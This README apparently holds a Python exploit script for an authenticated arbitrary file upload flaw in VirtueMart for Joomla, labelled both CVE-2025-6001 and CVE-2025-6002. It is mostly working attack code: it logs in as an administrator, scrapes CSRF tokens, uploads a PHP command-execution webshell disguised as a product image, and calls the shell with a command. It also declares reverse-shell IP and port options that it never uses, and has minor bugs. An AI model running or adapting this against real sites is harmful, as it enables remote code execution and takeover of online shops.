README.md
Rendering markdown...
#!/usr/bin/env python3
"""
Author: Schn1tzelme1ster
Title: Exploit for CVE-2025-6001 / authenticated arbitrary file upload in Virtuemart < 4.4.10
This script automates the authenticated arbitrary file upload in Virtuemart, up to version 4.4.10.
- Log in to Joomla / Virtuemart using the given credentials.
- Create a new product with a random name
- Upload a php webshell as the image of the new product
- set up a listener
- Invoke a reverse shell using the php webshell to the provided ip + port
TODO: vulnerability check
lees uit component manifest http://192.168.74.137/administrator/components/com_virtuemart/virtuemart.xml
xpath = extension / version
"""
import argparse
import json
import logging
import sys
import tempfile
import re
import uuid
import requests
import http.client as http_client
from urllib.parse import urljoin, urlparse
from bs4 import BeautifulSoup
csrf_token = "0"
random_filename = "x"
def error(msg):
print(f"Error: {msg}", file=sys.stderr)
sys.exit(1)
def parse_args():
p = argparse.ArgumentParser(description="Exploit for CVE-2025-6002 / Virtuemart Arbitrary File upload vulnerability.")
p.add_argument("--url", required=True, help="Base URL http://xxx")
p.add_argument("--username", required=True, help="Joomla admin username")
p.add_argument("--password", required=True, help="Joomla admin password")
p.add_argument("--remote-ip", required=True, help="Remote IP address")
p.add_argument("--remote-port", required=True, help="Remote port")
return p.parse_args()
def fmt_url(url):
if not url.lower().startswith(("http://")):
error("URL must start with http://")
return url.rstrip("/")
def get_cookie_name(session, login_url):
print("Retrieve cookie name")
for name in session.cookies.keys():
print(" - cookie name: " + name)
if len(name) in (32, 64):
return name
return None
def get_csrf_token_from_response(html):
print("get_csrf_token_from_response")
soup = BeautifulSoup(html, "html.parser")
# 1) JSON-style field
m = re.search(r'"csrf\.token"\s*:\s*"([0-9a-fA-F]+)"', html)
print(" - json style field: " + m.group(1))
if m:
return m.group(1)
return None
def open_page(session, login_url):
response = session.get(login_url, timeout=10)
response.raise_for_status()
return response
def do_login(session, base_url, username, password):
print("Authenticate")
login_url = urljoin(base_url, "/administrator/index.php")
# open the login page
login_page = open_page(session, login_url)
# retrieve the session cookie
cookie_name = get_cookie_name(session, login_url)
if not cookie_name:
error("Could not find CSRF cookie token name in GET /administrator/index.php response")
# get csrf token from response
global csrf_token
csrf_token = get_csrf_token_from_response(login_page.text)
payload = {
"username": username,
"passwd": password,
"option": "com_login",
"task": "login",
"return": "aW5kZXgucGhw",
csrf_token: "1",
}
print(" - payload: " + json.dumps(payload))
headers = {
"Referer": login_url,
"Origin": base_url,
"User-Agent": "Mozilla/5.0 (VirtueMart script)",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
}
print(" - headers: " + json.dumps(headers))
r = session.post(login_url, data=payload, headers=headers, timeout=10, allow_redirects=False)
if r.status_code not in (200, 303):
error(f"Login response status code {r.status_code}")
if r.status_code == 303:
location = r.headers.get("Location")
if not location:
error("303 response missing Location")
if not urlparse(location).netloc:
location = urljoin(base_url, location)
r2 = session.get(location, headers=headers, timeout=20)
r2.raise_for_status()
if "administrator" not in r2.url.lower() and "logout" not in r2.text.lower():
error("After redirect login does not look like admin page")
else:
if "login" in r.text.lower():
error("Login appears to have failed (login page content returned)")
print("Login successful.")
# Create a new product. The product image
def upload_web_shell(session, base_url):
print("Upload the webshell")
product_url = urljoin(base_url, "/administrator/index.php?option=com_virtuemart&view=product")
# open the product page
product_page = open_page(session, product_url)
# get csrf token from response
global csrf_token
csrf_token = get_csrf_token_from_response(product_page.text)
upload_url = urljoin(base_url, "/administrator/index.php?option=com_virtuemart&view=product&task=edit&virtuemart_product_id=0")
with tempfile.NamedTemporaryFile(mode="w+", suffix=".php", delete=False) as tmp:
tmp.write("<?php system($_GET['cmd'] . ' 2>&1'); ?>")
tmp.flush()
tmp_name = tmp.name
global random_filename
random_filename = str(uuid.uuid4()) + ".php"
print ("opening webshell php " + random_filename)
with open(tmp_name, "rb") as fp:
files = {
"upload": (random_filename, fp, "text/plain")
}
data = {
"product_name": "UmgekehrtBefehlInterpreter",
"virtuemart_product_id": "0",
"published": "1",
csrf_token: "1",
"task": "apply",
"option": "com_virtuemart",
"controller": "product",
}
headers = {
"Referer": f"{base_url}/administrator/index.php?option=com_virtuemart&view=media",
"Origin": base_url,
"User-Agent": "Mozilla/5.0 (VirtueMart script)",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
}
r = session.post(upload_url, files=files, data=data, headers=headers, timeout=120)
r.raise_for_status()
print("Upload completed, status:", r.status_code)
print("Server response:", r.text[:800])
def get_rev_shell(session, base_url):
print("Get reverse shell")
global random_filename
rev_url = urljoin(base_url, "/images/virtuemart/product/" + random_filename + "&cmd=id")
r = session.get(rev_url, timeout=120)
def main():
http_client.HTTPConnection.debuglevel = 1
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s %(levelname)s %(message)s")
logging.getLogger("requests").setLevel(logging.DEBUG)
logging.getLogger("urllib3").setLevel(logging.DEBUG)
args = parse_args()
base = fmt_url(args.url)
session = requests.Session()
session.headers.update({
"User-Agent": "Mozilla/5.0 (VirtueMart script)",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
})
do_login(session, base, args.username, args.password)
upload_web_shell(session, base)
get_rev_shell(session, base)
print("Done.")
if __name__ == "__main__":
main()